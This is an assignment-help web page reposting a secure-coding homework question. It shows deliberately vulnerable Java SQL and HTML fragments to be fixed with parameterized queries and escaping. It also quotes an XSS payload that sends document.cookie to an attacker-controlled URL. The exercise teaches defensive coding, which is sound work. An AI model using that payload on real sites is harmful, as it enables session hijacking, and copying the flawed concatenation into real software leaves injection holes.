Write the code fragment to transform it into a secure query

Assignment Help PL-SQL Programming
Reference no: EM133854367

Question: For each of the code fragments below, identify the type of software flaw(s) found and suggest a way to fix the issue(s). It is recommended that you identify the problem without using a computer. After identifying the problem, you may use a computer to verify your answer.

Code Fragment #1

The following SQL query is a common flaw that is susceptible to the SQL injection attack. Using Java's PreparedStatement() with variable binding, rewrite the code fragment to transform it into a secure query. Get Professional Assignment Help Service Now!

String query = "SELECT account_balance FROM user_data WHERE
user_name = " + request.getParameter("customerName");
try {
Statement = connection.createStatement( ... );
ResultSet results = statement.executeQuery( query );
}

Code Fragment #2

Using the same SQL query, rewrite the code fragment to transform it into a secure query with .NET parameterized OleDbCommand() with bind variable.

Code Fragment #3

The following HTML code snippet is susceptible to a cross-site scripting attack. It uses untrusted data without validation or escaping. This attack causes the victim's session ID to be sent to the attacker's website, allowing the attacker to hijack the user's current session by modifying the "CC" parameter. Rewrite this code snippet to correct the security flaw.

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC' parameter in the browser to:

'><script>document.location= 'https://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'

Submit a 1- to 3-page paper in APA format that contains the original code fragment, a description of the coding flaw in each, and your proposed solution using defensive programming/secure coding technique(s) to fix it.

Refer to the Week 8 Lab Rubric for specific grading elements and criteria. Your Instructor will use this grading rubric to assess your work.

Your document should be 1-3 pages long (not including the list of references and cover page), but it is the quality of the work that is important, not the number of pages. Cite and reference all sources using APA format and style guidelines and submit in a single document.

Reference no: EM133854367

Questions Cloud

End-to-end product life cycle : Lexis AI for the Gen AI legal assistant product and you are reponsible for the end-to-end product life cycle
Design and implement a custom file system : Design and implement a custom file system that simulates how files and directories are stored, organized and accessed on a disk
Undercover police decoy : Steve realizes that Joe is actually an undercover police decoy, and he had been set up
Identify two changes in your curriculum plan : Identify two changes in your curriculum plan that need to occur in response to the trend. Identify two instructional methods that need to change in response
Write the code fragment to transform it into a secure query : Write the code fragment to transform it into a secure query with .NET parameterized OleDbCommand() with bind variable.
What do you think biggest implications of mongol empire : What do you think the biggest implications of the Mongol Empire were - After reading the selection by Timothy May: The Mongol Empire in World History
Traditional theories of judicial review : Traditional theories of judicial review hold that neutral or principled grounds are only legitimate bases for judicial decisions and reject political motives
Each game after the national anthem : A head varsity coach in your school has asked you to allow the team to pray on the field before each game after the national anthem
Registering title and mortgage : Registering a title and mortgage There are two separate actions involved with this process:

Reviews

Write a Review

PL-SQL Programming Questions & Answers

  Create a database model

Create a database model and Submit the table creation statements for the Database Model.

  Write pl-sql procedures and functions

Write PL/SQL procedures and functions to populate and query that database

  Sql questions

Write a query to display using the employees table the EMPLOYEE_ID, FIRST_NAME, LAST_NAME and HIRE_DATE of every employee who was hired after to 1 January, 1995.

  Run the lab_03_01.sql script

Run the lab_03_01.sql script in the attached file to create the SAL_HISTORY table. Display the structure of the SAL_HISTORY table.

  Write sql queries

Write a query to display the last name, department number, and salary of any employee whose department number and salary both match the department number and salary of any employee who earns a commission.

  Explaining sql insert statement to insert new row in cds

Write down a SQL insert statement to insert new row in "CDS" table.

  Write down name of actors in ascending order

Write down actors (or actress, your choice, but not both) who have won at least two (2) Academy Awards for best actor/actress. Provide the actor name, movie title & year. Order the result by actor name."

  What is an sql injection attack

What is an SQL injection attack? Explain how it works, and what precautions must be taken to prevent SQL injection attacks.What are two advantages of encrypting data stored in the database?

  Determine resonant frequency in series rlc resonant circuit

Given the series RLC resonant circuit in the figure, operating at variable frequency, determine: The resonant frequency ω o ,  The circuit’s quality factor Q , The cut-off frequencies, f 1  & f 2  and the bandwidth BW

  Query that uses cube operator to return lineitemsum

Write summary query which uses CUBE operator to return LineItemSum (which is the sum of InvoiceLineItemAmount) group by Account(an alias for AccountDesciption).

  Query to show customers were missing for existing orders

As DBA, your manager called a meeting and asked why there are so many orders for customers that don't exist in the customer table. Write query which would shows which customers were missing for existing orders. Use a join or a subquery.

  Sql query into a relational algebra statement

Turn this SQL query into a relational algebra statement? SELECT Request.reqfor, Ordering.invamt, Ordering.invnbr, Ordering.invdat

Free Assignment Quote

Assured A++ Grade

Get guaranteed satisfaction & time on delivery in every assignment order you paid with us! We ensure premium quality solution document along with free turntin report!

All rights reserved! Copyrights ©2019-2020 ExpertsMind IT Educational Pvt Ltd